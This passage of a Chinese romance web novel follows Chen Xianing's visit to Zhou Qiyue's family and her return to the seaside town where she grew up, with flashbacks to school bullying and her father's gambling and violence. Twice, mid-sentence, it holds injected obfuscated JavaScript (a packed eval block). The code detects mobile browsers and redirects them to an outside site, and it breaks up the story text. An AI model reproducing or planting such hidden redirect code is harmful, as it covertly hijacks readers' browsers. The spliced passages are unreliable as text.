下一刻。 周祈越看妹妹一眼,神色平平,跟爸妈说:“我去吧。” “我想跟爷爷奶奶一起生活。” ...... “原来是这样啊。”陈夏柠心里跟着酸酸的,握住周祈越的手,偏头往他肩上一靠,“七月,你不想让爸妈为难,也不想让妹妹去乡下受苦,所以主动选择了对么。” 周祈越亲了下她发顶,拿腔拿调道:“哪受苦了,我是去享福,怪不得我爷爷奶奶放着城里的生活不住,也要留在那里。” 青源镇生活的居民并不穷,家家靠着种植柠檬发家致富,当农村还在吃柴火饭的时候,这座小镇已经实现煤气到万家了,算是早一批的新农村生活。 陈夏柠嘿嘿一笑:“你要是不去青源镇就不会遇见我了。” 周祈越捏她的脸,咬牙切齿道:“对——遇见你之后,之前受的委屈,都不算什么了。” “......” “算你识——”陈夏柠吞下一个“相”字,当即坐起身,恍然想起周祈越这种颠倒黑白卖惨的本领打小就有了。 “那还不是因为,你总是骗我!” 季医生说,恐惧症是心理作用,她失去的记忆也是如此。只要她放平心态,解开心结,很多事都会慢慢想起来的。 跟周祈越在一起后,开心的幸运的事纷纷降临在了她头上。又加上季医生的有效催眠,陈夏柠快把小时候的记忆捡得差不多了,食指戳着他胸膛,开始算账。 “你骗我说,李爷爷家的樱桃最甜,结果我去摘樱桃,被一条狗追了半条街,那樱桃还酸得要死。” “......那狗还是我给你打跑的。”周祈越眼尾弯着,接受审判不忘冷静辩解:“谁让你贪吃了,再说,谁家樱桃四月成熟,你怎么着也得等到七月吧。” 陈夏柠:“还有螃蟹大餐!我吃完的第二天就住院了!你抓的什么螃蟹!” 周祈越扶额叹气:“我哪知道你对螃蟹过敏。” “......” 陈夏柠一噎,有气撒不出的憋屈样。 周祈越两只胳膊支在背后,身体往后躺,仰头轻笑了声:“你被狗追,那狗咬的是我,结果当晚就去医院打疫苗了。” 哦,还忘记这茬了。 陈夏柠猛然觉得蛮好笑,肩膀微微起伏着。 周祈越偏头看她侧脸,好似一下子回到了小时候,小柠檬总爱嘲笑他的糗事,恨不得笑个三天三夜。 “让我想想,你有没有什么糗事,”周祈越眯着眼,谄笑了下,陈夏柠也跟着回忆起来,“我记得某人桌子里总是乱七八糟的,有一次她翻箱倒柜找橡皮,最后整个头直接卡......” “你闭嘴!”陈夏柠简直要无地自容了,急忙上手捂他的嘴。 不知怎的,她没刹住车,柔软的床垫凹下一块,两人纷纷倒在床上。 毕竟,是,陈夏柠压在他身上。 周祈越两手往旁边一摊,跟撒手掌柜似的,悠闲自得地等着她下一步动作。 陈夏柠还没来得及从他身上起来,只一抬眼瞧见,林淑正抱着枕头站在门口,也不知来多久了,反正此刻她俩的视线对上了。 “......阿姨。” 周祈越顺着她的目光往上看,“妈???” 一时间,寂静的房间分割出两道光景—— 躺在床上的两人光速起身,规规矩矩地站好,拉开两米距离。 林淑眼神乱瞟,手舞足蹈地摸了下头发,抱着枕头走进来。 “我给你柠柠,拿了个舒服的枕头。”说着,放到了床头。 陈夏柠强撑着脸皮笑了笑:“谢谢阿姨。” 周祈越和林淑大眼瞪小眼地望着彼此,前者总觉得要说点什么。 “刚刚我俩在聊天,然后就——”捕捉到妈妈一副“我看你能怎么胡诌”的眼神,周祈越话锋一转,“就躺床上了。” “......” 陈夏柠凶神恶煞地瞟他一眼,你解释的什么玩意儿?! 周祈越扯了扯唇角,隔空跟她眼神交流——陈述事实啊。 陈夏柠:...... 一旁目睹两人眉目传情的林淑“......” 林淑咳嗽了一声,找回存在感,跟陈夏柠说:“柠柠,我给你找件睡衣吧。” “好。”陈夏柠点头应下,心里有气,快速与他擦肩而过。 她跟着林淑来到衣帽间,怯生生道:“阿姨,刚刚我俩就是不小心......” 林淑满脸写着我都懂:“你放心,我这人开明的很,不是什么老顽固。” “......”陈夏柠抿了抿唇:“阿姨您不老,年轻着呢。” 林淑勾唇一笑,拉开左边的衣柜,出现一排女装:“这是听听的衣服,我每年都往这衣柜里添衣服,很多她都没穿过呢。” 这衣帽间两排柜子色彩分明,右边是蓝色,左边是粉色,陈夏柠盯着蓝色衣柜问:“阿姨,这是周祈越的衣柜嘛?” “对的。”林淑许久没整理他俩的衣柜,忘记女儿的睡衣放在哪,索性把粉色柜子都打开,在中间底层位置找到一件新的。 陈夏柠不经意间看见在上面悬挂的兔子连体服,白色的,以至于肚子上的红色图案特别显眼。 她凑近去看,是用水彩笔画的玫瑰花。 “阿姨,这衣服是听听的么,好可爱啊。” 林淑眉梢抬起:“对,她高中穿的玩偶服,喜欢得不得了,还一直存着呢。” 陈夏柠歪头打量这朵玫瑰花,左看看右看看,好像很喜欢的样子。 林淑当即转身把周祈越的衣柜打开,很空荡,应该是不常用,也有一件用塑料膜裹好的玩偶服——蓝色的哆啦A梦。 陈夏柠走过去,定睛一看,果然,肚子上也有图案,是一朵黄色的向日葵。 林淑对这事印象颇深:“这是高中时二中举办运动会,祈越的表妹要在运动会上穿玩偶,但运动会的前一天扭到脚了。” “听听就让哥哥帮忙,祈越没推辞,觉得这小白兔衣服有损他形象,干脆去店里买了个哆啦A梦。我记得那天早上下楼,两只玩偶突然窜到我面前,愣是把我吓一跳。” 当时林淑还在困意中,差点吓出心脏病,知道是俩兄妹后,二话不说拿着扫把打他俩一人一屁股。 两兄妹穿着笨重的玩偶服,感觉不到一点疼。周听也感觉挺好玩,衣服也不脱了,要跟哥哥一起去吉祥物。 陈夏柠一边笑着,一边盯着向日葵图案出神。 这是,她画的图案。 高一那年春季运动会赶上了联考成绩出分,陈夏柠没参加什么运动项目,当天从绘画社里提着一盒水彩笔出来。 天空是蓝色的,塑胶跑道也是蓝色的,头顶烈日炎炎,操场上的运动健儿满头大汗,却依然激情澎湃地参加比赛。 他们奔跑,欢呼,相互加油打气,掌声不断。 操场外栏,陈夏柠远远望着他们,孤零零地,好像隔绝在这热烈的青春之外。 高中快一年了,成绩没怎么提升,还被同学确诊为“精神病”。 在这里,她没有朋友。 也不明白为什么,她要承受这样的对待。 她眼角已经有了涩意,只想着退居人群。 与此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15272618|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同时,栏杆入口出来了两只玩偶,小白兔和蓝胖子一前一后,快速往前跑着,女生嗷嗷叫不停:“不行了不行了,我热死了,快走。” 蓝胖子体型比兔子肥胖,走路更为笨重,倏忽,迎面跑来一位端着炸酱面的男生,两人撞个满怀。 目睹事发现场的陈夏柠,好心走过去把蓝胖子扶起来,她给他拍了拍身上的灰尘。 不幸的是,蓝胖子的白肚子沾染上了油渍,她蹲下,用纸巾擦也擦不掉。 小白兔见状折回来,“这可怎么办啊,衣服脏了,下午颁奖咱俩要上台呢。” 陈夏柠打开手边的彩笔盒,抬眼望向蓝胖子,“要不,我给你画个图案遮挡一下?” 蓝胖子不语,缓慢地点了个头。 得到应允后,陈夏柠挑选黄色彩笔往上面涂,最后画了一朵向日葵在蓝胖子的口袋下方,完全遮挡住了油渍。 “哇,同学你好厉害啊。”小白兔连忙鼓掌,又给她竖大拇指,“可以给我也画一个吗?” 陈夏柠乐此不彼:“你想要什么图案啊?” 小白兔:“玫瑰花!” 陈夏柠转身蹲在小白兔面前,拿起红色的画笔,忽地,一道阴影挡住身后刺眼的太阳光线。 她专心作画,偶尔余光瞟见地面上的影子,像是有人选择站她这一方,为她撑腰一样。 但也仅仅是自己的幻想。 下午运动会颁奖典礼结束,班里陆续有同学回来。 陈夏柠正安静在座位整理联考的错题集。 前桌的女生姜微敲了下她桌面,当时班里吵哄哄的,陈夏柠沉浸在习题中没应声,下一秒,姜微一把抽走她的错题集。 她这才有了反应,茫然地看着姜微。 对方毫不客气的语气:“喂,下楼整理羽毛球器材去。” 陈夏柠心里也不爽,讷讷道:“我又没参加比赛,为什么要我去。” 姜微卷起她的笔记本敲着她桌面,音量大得全班都听见:“你这人有没有集体意识啊,不参加比赛为班级争光也就算了,让你帮忙整理羽毛球器材,你还一副受了极大委屈一样!” 旁边的同学急忙接话茬:“就是就是,你这人怎么这么自私啊!” 陈夏柠垂着眼,连神经都紧绷。 “怎么,想哭了?”姜微呵呵一笑,“你这心态不会真有精神病吧。” 闻言,陈夏柠猛地挪开凳子,起身走出去。 姜微继续喊着:“你要是敢不收拾好,就滚出这个班!” “.......” 最后,是陈夏柠一个人抱着羽毛球拍爬五楼,整理完毕,从实验楼出来时,对面的操场空无一人。 已经是傍晚,太阳正缓缓西沉,五星红旗迎风飘。 她坐在旗杆下的阶梯上,神色呆滞,视线逐渐模糊。 就在这时,哆啦A梦出现了,捧着一束向日葵朝她伸过来。 陈夏柠旋即意会,他是在感谢她,回馈了一朵真的向日葵。 “谢谢。” 这朵向日葵鲜艳明媚,好似含着笑脸,但她满肚子苦水再也藏不住,一滴泪落在了花瓣上。 见状,哆啦A梦挪动着身体,坐在了她旁边。 眼泪一流就收不住,她紧紧地握着花,低着头,肩膀一抽一抽地。喉咙里像是有什么东西卡住一样,不上不下,快要让她窒息。 多啦A梦手臂从后面伸出去,轻轻拍着她肩膀。 就在这一刻,陈夏柠顺势往他肩膀一靠,捂着脸痛哭了起来。 ...... 小时候,柠柠最喜欢的动画就是哆啦A梦。 就是有一天,她听见同班同学说哆啦A梦的大结局——小哆啦根本不存在,那只是大雄做的一个梦。 为此,她还和同学吵了起来,说他们骗人。 那段时间,她情绪低落至极,也因为家长会别人都有爸妈来,而她不仅没有,连唯一的奶奶都没空闲去。 周祈越知道了原由后,笑着说:“你同学的确说错了,你要不要听听哆啦真正的大结局。” 柠柠点头如捣蒜。 周祈越闲散道:“哆啦A梦陪伴大雄一直到老,大雄临终前告诉它,等我去世了,你就回到未来好好生活吧。” “可是大雄去世后,小哆啦并没有回到未来,而是用时光机回到了过去,遇见大雄的那一天,跟小时候的大雄说——” “你好,我叫哆啦A梦。” 话音落,柠柠瞳孔一滞,听得很入神。不知怎的,第一次当着他的面流了泪。 原以为周祈越会嘲笑她爱哭鬼,但并没有,反而给她拿纸巾擦眼泪。 “怎么了?” “七月,你说,有一天我们会不会也分开,”柠柠想起再也没回来的爸妈,哽咽了一下,“然后再也见不了面,不再是朋友。” 周祈越盯着她的眼睛,认真说:“当然不会。” “你骗人。” “不骗你。”周祈越托着半边脸,伸出小拇指,“我们拉钩,七月和小柠檬永远不分离。” “如果有一天我们走散了,我这只哆啦A梦,一定会找到你。” 无论有多远,我都会找到你。 我会像哆啦A梦一样,陪你长大。 在任何你需要的时候出现。 96. 传家宝 次日早上,周家来了客人,父子俩在客厅招待。 之后几天肯定会陆续来很多亲戚。 陈夏柠不方便待在这了,本来就没打算会住一晚,因为家里还有月牙。她通过手机看客厅的摄像,月牙正安分地躺在窝里睡觉,猫粮也快吃完了。 在她走之前,林淑拉着她去房间里说悄悄话,拿出一个黑色丝绒盒子,入目便是一条项链,链子是银制作,平安扣晶莹剔透,翡翠成色极好。 当林淑塞到她手里时,陈夏柠倍感惶恐:“阿姨,我不能收。” “这是祈越的奶奶给我的,我现在把她交给你。”林淑会心一笑,意思很明显了,“就当做我给你的过年红包了。” 哦吼,莫非就是电视剧里演的那种,留给儿媳妇,代代相传的传家宝呀。 陈夏柠顿时生出某种使命感,但又感觉跟电视剧里演的不同,林淑像是拿错了剧本。 犹疑了片刻,她问:“阿姨,您不反对我和周祈越在一起吗,毕竟网上对我的报道.....想必您也看到了吧。” “看到了。”林淑闲散道,“我可是5G冲浪,”随即平视她的目光,话锋陡转,“但哪又怎样。” 陈夏柠眨了下眼,确认自己没幻听,怔怔地瞧着林淑。 “哎,网上那些人就喜欢跟风、胡编乱造,我才不信。”林淑不以为意地摆摆手,眉眼含笑,“当初周祈越被网暴失业时,你当着十万人的直播间,为他发声,我可看得一清二楚。” “虽然没在现场,隔着屏幕,我就能感觉到,你对他绝对不是普通朋友那么简单,毕竟普通朋友可不会顶着舆论压力做到这个份上,尤其是当你说他有赤诚之心的时候,眼睛都亮了。 “果真就如我所料,你俩在一起了。” 陈夏柠眸光一亮,被点醒般,重新认识了一下自己。 她对周祈越的喜欢更早。 早在朝阳岛,每天和他见面时的满心欢喜;见不到又收不到他消息时,那份黯然失落。 这些都是伏笔。 “我把它送给你,是因为我相信,除了你,我儿子不会再喜欢其他人。” 林淑下巴点着项链,话匣子一打开就绕得更远,“其实昨晚你们俩的谈话,我都听到了。” 陈夏柠面色稍怔。 林淑自行惭秽地说:“我那个时候要照顾两个孩子,焦虑得不行,不该对他发脾气。忘记哥哥虽然大一点,但也是个需要被呵护的小男孩。” “在祈越去青源镇一年后,我想他了,打电话问他过得好不好,想不想回家。”林淑浑身气压偏低,对当时儿子的回答记忆犹新。 周祈越好像变得更开朗,心直口快道:“妈,我在这边生活得很好,有爷爷奶奶,还有很多小伙伴陪着,我喜欢这里,不想回去。” 往后的生活就是,林淑不主动联络他,周祈越也不会往家里打一个电话。 就好像,她这个妈妈不存在了似的。 往后几年,上远集团发展可观,经历了上市,公司有更多能人异士加入,夫妻俩就没之前那么忙了。 林淑提议让他回家的次数越来越多,周闻清也多番跟爸妈商量。周老爷子总说,他们得尊重孩子的意见。 周祈越自然是不愿意回去的,后来林淑就亲自去青源镇,看见儿子长成大高个,变得帅气硬朗,快要初中毕业。 一见到她,周祈越差点没认出人来。 林淑心里酸酸的,意识到错过了儿子的童年;她没有参加他的家长会,没有陪他做作业,也没有陪他过生日,更没有陪他去过游乐园。 人生许多重要的时刻,都与她这个母亲无关。 事实上,林淑所说的这些事,都是柠柠在陪着他。 夏奶奶不得空的时候,周爷爷和周奶奶分别当俩孩子的家长,去参加家长会。 他的朋友再多,变来变去,独有柠柠一直没变。 “这父子俩最近吵架,是因为他爸嘲笑他动用真实身份威胁旭日日报。”林淑说,“祈越的脾气很倔,早就跟我们协商好,不会跟我们一起出现在大众视野。” 这么多年,没人见过上远集团公子哥的真实模样。 上大学后,他便不再依靠父母,学费生活费都是靠自己挣来的,因为周祈越特有经济头脑,会投资会赚钱。 他跟父母划清界限,只是想换取自由。 他想成为他自己。 而不是若干年后,别人坐起而论道,将他所有的成功归因于,他是某某集团的继承人,某某人的儿子——这是许多豪门子弟的共同命运。 陈夏柠露出恍然大悟的神情。 怪不得他即使深受诽谤,也不向家里求助。 唯独她被网暴的时候...... “抱歉阿姨,他威胁旭日日报是为了帮我。” “我知道。”林淑拍着她的手,笑了笑,“他愿意为你打破原则,向他爸低头一次,可见他将你放得多重要。” “我以前给他介绍相亲对象,都没成功。没想到啊,我儿子是那么长情的人。他还是喜欢曾经的小青梅。” 陈夏柠讪笑了一声。 周祈越给的这份爱很热烈。 他到底还做了多少,她不知道的事。 - 过年是难得的老友相聚的日子,周祈越人缘好,因此忙于各种同学聚会。 陈夏柠出国三年,早就和很多同学断了联系,更何况学生时代她一直都不是起眼的人,自然没有人邀约她。 只有许佳念这个从初中玩到大的朋友,但她回老家过年了。 陈夏柠对交际向来追求顺其自然,只想着没了工作,接下来的路该怎么走,她暂且在网上找翻译兼职做着,同时也在看新的工作机会。 某天上午,她盯着电脑好一会儿,终于按捺不住般,在浏览器上搜索“青源镇”,随后显示出地址,这是位于南璋市的沿海小镇。 在地图上找出那片海。 “当年所有人都认为你坠海而亡,祈越死活不相信,整天坐在那片海域等你出现......当时真把我们担心坏了。” 这是林淑随口说起的话,但她不知道陈夏柠失忆了。 到目前为止,她也没想起自己失踪这一段。 年前她做催眠治疗而失控,季医生就让她缓缓,不要强行回忆,否则反倒伤害了自己。 周祈越也总安慰她说,过去的就过去了,立足当下,只需要记得他们以后再也不分离。 可是身体里好像有另一个自己,驱使着她,去找回当年的真相。 这几天,她也总梦到奶奶。 那个彪悍的老太太,凶巴巴地质问她——你这个小没良心的,这么多年了,为什么不回来看我! 刚好刘阿姨也回来了,月牙也物归原主。于是她鬼使神差地买了趟去南璋的高铁票。 等人坐上了高铁,周祈越发消息问她:【柠柠,去哪了?】 陈夏柠咬了下唇,犹豫了三秒:【我去朋友家了。】 July:【那早点回来,不知道今天情人节?】 陈夏柠向来不记日子的,慌张切换页面看日历,叹了口气,怯生生回复:【忘了。】 Lemon:【我朋友家有点远,今天应该赶不回来。】 July:【在哪?】 陈夏柠被追问得心慌,她这次又先斩后奏。 这事不需要瞒着他吧,也没什么吧。 如果再撒谎,指不定他又要生气,收拾她。 自我挣扎了一会儿。 Lemon:【其实,我现在在高铁上。】 Lemon:【我想回南璋看看。】 ...... 临近晌午,出租车把她送回了记忆中的青源镇。 这座小镇背山靠海,景色淳朴自然,因为地理位置偏僻,没有被工业化,果真像一个被时光封锁的世外桃源。 因为是年后,沿着乡间小路有着不少年轻面孔,大多是过年回老家看望的游子。 故地重游,那些模糊的记忆一下子清晰明朗。 家门口那颗柳树还在,如今长成参天大树,只是小洋楼似乎再也无人来过,变得破旧不堪。 陈夏柠站在大门前,摸了下锈迹斑斑的铁锁,锁得很牢固。 “是柠柠吗?” 她闻声回头,老奶奶身穿红色刺绣唐装,戴着金框眼镜,头发已经花白,散发着书香气息。 时光催人老,但气质却难以改变,陈夏柠迟疑了三秒:“您是——周奶奶?” 老人眨了下眼:“对,我是。” 陈夏柠也是有些激动,分明在笑着,眼角闪着泪光:“奶奶,我是柠柠,夏柠。” 周奶奶上前握住她的手,打量着她:“好孩子,你总算回来了。” 说着,把她牵回自家招待着。 “早上祈越打电话,说你回南璋一定是回家来的,我在家门口坐了一上午,你一出现,我就猜你是柠柠了。” 周奶奶带她进院子,喊了声在菜园里拔萝卜的老人,“老头子,快看,柠柠回来了!” 和记忆里一样,周从谦个子挺高,怪不得周祈越也高,应该是基因好。 夫妻俩都姓周,周奶奶叫周映容,小时候就把她当成亲孙女一样。 周从谦拎着两只大萝卜走过来,跟她笑道:“刚好中午了,我这就跟你们做饭。” 陈夏柠点点头,跟两位一起进厨房忙活,没有一丝拘束感。 吃饭的时候,陈夏柠跟他们说了自己多年的状况。 “我说呢,如果你还活着,怎么会没回家看看,原来是失忆了。”周映容叹了声气,心疼地看她,“好孩子,这么多年,辛苦了。” 按照实际生日算,到了四月,她就27了。 差不多14年了。 她才找到回家的路。 陈夏柠心中也百感交集,望着两位老人说:“我这次回来,想看看我奶奶。” 午饭后,周从谦带她来到一片田地,这个时节,柠檬树没开花,枝干光秃秃的。 “你奶奶去世后,你爸也没回来过,是镇上的大家伙一同操办的葬礼,最后你们家的地拨到镇上公用了。” 如今,夏奶奶和爷爷合葬在一起,在这片柠檬生长的地方。 周从谦找到墓地,对着墓碑说一声:“夏奶奶,你亲孙女回来了。” 顷刻间,陈夏柠没绷住情绪,蹲在地上眼泪啪啪地掉。 那个嚣张跋扈的奶奶,表面对她严苛,但也会偷偷给她攒钱买新衣服,过生日,给她扎辫子。 奶奶把她当男孩子养,实则是想让她坚强,不被流言蜚语击垮,挺直腰板好好活着。 她们都没来得及告别。 从柠檬园出来后,陈夏柠沉默了良久,倏然开口:“周爷爷,我独自一人想去海边看看。” 周从谦看了眼头顶的云层,“别待太久,早点回来。” “嗯好。” 季医生说,要想完全战胜恐惧症,就是场景复刻,突破心里的那道防线。 只有从噩梦里走出来,她才会真正康复。 海,在她梦里大多是美好的。 那是柠柠和七月经常来玩耍的地方。 上了初中,柠柠彻底摆脱了那些总是嘲笑她的小学同学,在重点班认识了很多新朋友。 那会儿周祈越升为初三,是一个经常活在校长演讲的模范人物,没见过他的人也听说过他。 周祈越和同学来海边野餐,也会拉上她,每当大家问起他俩的关系。 他扫她一眼,漫不经心道:“发小。” 然后其他人就开始拖长尾音“哦”一声,气氛顿时渲染。 懵懵懂懂的柠柠搞不清这些人为什么这种反应。 后来同桌告诉她,“发小”这两字多暧昧啊。 柠柠抓耳挠腮地问:“暧昧是什么意思啊?” 同桌白她一眼:“夏柠,你怎么跟小学生一样啊!没看过偶像剧吗?” “没啊,我只看多啦A梦。” 同桌恨铁不成钢:“你没有喜欢的人吗?” “啊哈?!”柠柠永远比别人迟钝一点,喜欢又是什么。 到了初中,同班同学有一种在装大人的成熟感,可以表现为他们穿着潮流的衣服,追着非主流的乐队,还包括八卦。 大家最喜欢八卦谁喜欢谁,这种喜欢不是朋友间的,而是那种异性间的喜欢。 直到,她听到了周祈越的八卦——九年级三班的班花扬言要追一班的校草周祈越。 周祈越每天和她一起上下学,突然有一天另一个女生跟在他身后,这个女生叫苏佳。 柠柠第一次见有这么勇敢的女生,她敢当着许多人的面说:“周祈越,我喜欢你,我知道你不喜欢我,但我会让你喜欢上我的。” “......” 因为有苏佳跟在身后,柠柠就不敢和周祈越上下学了。 可是每次,看到苏佳和周祈越走在一起,她只能远远地望着的时候,心里就像挠痒痒似的。 周末,周祈越照旧来家跟她一起做作业,柠柠当即给人一个闭门羹,把他轰得远远的。 “别让我见到你,讨厌鬼。” “......” 周祈越深感莫名其妙,二话不说硬闯进去,跟她对峙:“姑奶奶,我又哪招你惹你了?” 柠柠拽得跟二五八万似的,哼哧一声:“就是看你烦得慌。” “......” 周祈越当即往她家客厅一坐,摊开《五年中考三年模拟》低头去写,没皮没脸地说:“那我就在这烦你,烦到你愿意说的时候。” 柠柠:“......” 她又气又笑,干脆上手拉他胳膊,“你起开,我家不欢迎你,你来找我干什么,去找你的小迷妹苏佳啊!” 周祈越动作一顿,正儿八经地瞧她:“你是因为苏佳生我的气?” 柠柠:“......” 一不小心说漏嘴了。 “才...才不...是!” 周祈越挑眉,直勾勾的眼神好似把人看穿:“你结巴什么?” 随即他回握她的手,拉她在旁边坐着,正视她,勾唇一笑:“那我以后都躲着她,躲得远远的。” 柠柠脸一热,感觉被他握过的手直通电,心跳前所未有的剧烈。 后来每次,周祈越跟她坐在一起,她的心跳都是这么,恐怖。 他人一走,她就急忙跑到房间里,缩在被窝,大口呼吸着,耳朵和脸上的热传遍全身。 她感觉自己要成为热气炉了。 一周后,柠柠蔫了吧唧地趴在桌上,跟同桌说:“我好像得了心脏病,要考虑休学了。” “......” 同桌啊了声,震惊地看她:“真的假的,你看医生了?” “没,我觉得肯定是。” “说说,什么情况?” 当时班里玩得最好的朋友就是同桌,两人是知无不言的友谊。 同桌听完后,笑得肚子疼:“夏柠,你这分明是喜欢周祈越吧。” 柠柠茫然地啊了声:“你别胡说。” “那为什么你看见别人不这样,唯独跟他待在一起就心跳加速?” 同桌一板一眼地分析,“喜欢就是看见他会脸红耳热,欣喜若狂,看不见就犯相思病,如果看到他和别的女生在一起,你会恨得牙痒痒。” 柠柠:“......” 完了,这些症状她都对得上。 她怎么会喜欢上周祈越那个讨厌鬼呢! 那他喜欢她吗? 他总是说她凶。 后来,在日常的相处中,柠柠变得爱打扮,隐藏起自己凶巴巴的一面,变成一个温柔的小淑女。 周祈越起初还不习惯,敲了下她脑门:“你吃错药了?” 柠柠:“......” 虽然不确定那个答案,可她觉得有他陪着的日子就很好很好。 不美好降临的日子,她回到家,院子里坐着一个吃面条的陌生男人。 夏磊面部沧桑,胡子拉碴,浑身狼狈,抬眼看见她,跟她招招手:“柠柠,到爸爸这来。” 柠柠吓得赶紧跑屋里找奶奶。 奶奶安抚她说没事,起身去院子里怒吼夏磊。 “你以后打算怎么办?几年没回来了,还有我这个妈,有你女儿吗?!” “妈,我也没办法啊,您儿子运气不好。” 夏磊和萧娴结婚后,生下一个女儿,待在这座小镇,家庭圆满。 但夏磊并不满足下地种柠檬,反观自己的高中同学做生意风生水起,在市里买了房。他也想挣大钱,跟着同学去做烟酒生意,不料输光本金还欠一屁股债。 那段时间,夏磊深感挫败,整天借酒消愁,也染上了吸烟。 萧娴把陪嫁的金镯子给他,让他变卖还债。 谁曾想,夏磊去了赌场输得一干二净。 “你为什么不能踏实一点!”萧娴气得发疯,指着他数落,“整天就想投机取巧,做那些不切实际的发财梦!” 夏磊自尊心受挫,嘴上也不饶人:“我为了谁啊,还不是为了养你们!” 房间里吵得不可开交,五岁的柠柠放声大哭,夏奶奶赶紧冲到屋里哄孩子。 往后这种争吵无休止般,萧娴和夏奶奶盼着柠檬丰收还债。夏磊倒好,整天酗酒赌博,整个镇上的人都知道这个败家子。 长期的不得志让夏磊变得暴躁,在一次争吵中对萧娴施暴,萧娴看透了这个人,提出离婚。 夏磊跪地求饶,说自己改,其实根本改不了,他一喝酒就爱打人。 柠柠从小就害怕爸爸,她知道,要是没有奶奶护着她,被打的也会是她。 萧娴痛哭不已的时候,柠柠给她擦眼泪,妈妈就吼她:“都是因为你!要不是你,他早就跟我离婚了! “我为什么要生下你!” 那时候柠柠七岁,她在邻居的闲话中,得知自己是个拖油瓶。 萧娴拥有大好青春,完全被孩子拖住了。 萧娴实在受不了这个家,只能选择逃,在夏磊出去鬼混的时候,拎着包离开。 柠柠永远记得妈妈走的那一天,她突然亲她的脸,很温柔地说:“以后听奶奶的话。” 她忍住眼泪,强撑着笑容,让妈妈走。 只有离开这个家,妈妈才会开心幸福。 萧娴逃走之后,夏磊满世界地找她,此后的几年也没回来过。 只剩下夏奶奶和柠柠相依为命。 爸爸在她作文里,向来不是什么好词。 柠柠说,我最讨厌爸爸了,我讨厌赌博喝酒吸烟的男人。 现在这个讨厌的爸爸又倏然出现了。 “妈,我错了。”庭院中,夏磊握住奶奶的手下跪,一把鼻涕一把泪,“我以后不鬼混了,我都听您的话,待在镇上种柠檬,养活你和柠柠。” “我这几年过得也不好,为了还债,睡大街吃剩饭,真的想回家。” 夏奶奶长叹一口气,她还能说什么呢,那是她唯一的儿子。 她不管他,谁能管他。 毕竟她也一大把年纪了,哪能陪孙女长大,要是她死了,孙女真就没亲人了。 街坊邻居都知道夏磊回来了,没人敢跟他说话,连他亲生女儿也是。 她恨极了爸爸,压根不想理他。以前都是周祈越来她家,现在都是柠柠去他家做作业。 周祈越小心翼翼地问:“你真不打算理你爸了?” “不理,我这辈子都不会原谅他!”柠柠是个爱憎分明的性格,“我最讨厌赌博喝酒吸烟的男人了!” “......” 周祈越顿时噤声,不再提她爸爸。 夏奶奶的记性不好,大家伙都知道,她总爱忘东忘西,有什么重要的事,柠柠都会帮她记着。 就是在某一天,夏奶奶去菜市场买菜,一整天没回来,最后还是报案,警察局找到了她。 原因是,她突然不记得自己是谁了,也不记得回家的路。 周奶奶当即提醒夏磊带她去医院看看,最后检查的结果为,老年痴呆症。 夏磊陪她去医院治疗两月,便没了耐心,再一次选择了逃避,出走家门。 “唉,他们这一家老小真可怜。” “真是造孽啊,夏奶奶怎么养了这么一个白眼狼!” “夏磊就是狗改不了吃屎!自私得很!” 面对邻居们的议论纷纷,柠柠习以为常,心里想着,他走了也好,本来就不欢迎他回来。 从小到大,她和奶奶相依为命,一直都是这么过来的。 柠柠拍拍胸板说:“大不了,我以后不上学了,在家养着奶奶。” 周祈越立刻卷起书包敲她的头:“你再胡说试试,大人的世界没你想得那么简单。你最应该做的是好好学习,才不辜负夏奶奶的苦心。” 柠柠耷拉着耳朵,趴在桌上消沉下去。 周祈越慢条斯理地说:“你不用担心,以后我爷爷奶奶会带夏奶奶去看病,督促她吃药,钱的事你也别着急,我会帮你想办法。” 柠柠偏头看着他,少年双眸干净澄澈,侧脸弧度分明,随便往那一坐都是美好的存在。 “这些不好的事会过去的,我会陪你挺过去的。”他柔声安慰。 柠柠心一颤,瞬间扭回头,埋在臂弯里小声抽泣着。 窗外的风吹过来,煽动试卷的一角,少年手中的笔再也无法转动,定定地看着她起伏的肩膀。 收音机恰好传来一句话—— 明明我们都还那么小,可总有一些事逼着我们长大。 — 冬天一过,迎来春天。 周祈越步入初三下学期,即将面临中考,三月份是中考报名阶段。 同学的八卦又开始猜测,周祈越会报考哪所市重点。青源中学多年没出过高分了,好不容易出现一个好苗子,他要是考上市一中,那就是全镇的骄傲。 柠柠从周家那里听到的更不一样。 “祈越还是报海云一中吧,回海云市,回到你爸妈身边,你爸妈和妹妹都很想你。” “不说别的,海云市的教育资源比我们这好上千百倍,你也应该去大都市看看,而不是困在这座小镇。” 周祈越依然固执:“我就觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15300575|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得这里好,好朋友都在这。” 后来班里疯传,九年级一班的班主任对周祈越大发雷霆,说他脑子抽了,不报市一中,竟然报县一中,还勒令让他改志愿。 “七月,你为什么要报县一中啊,”柠柠想起他说好朋友都在这,循循善诱道,“朋友什么时候都能见,一周见一次,一月见一次,或者一年见一次都没关系。” “有关系!”周祈越正视她,“见面少了关系就会淡,久而久之,会变成陌生人。” 柠柠心口一缩,她换过很多朋友,大家都是自然而然不玩了。 “你从小到大这臭脾气,也没什么朋友吧。” “有一个......”周祈越挠了下头,对她笑笑,“你不就是么,咱俩不是约定好,永远不分离么。” 市一中距离青源镇太远了,还是县一中近。 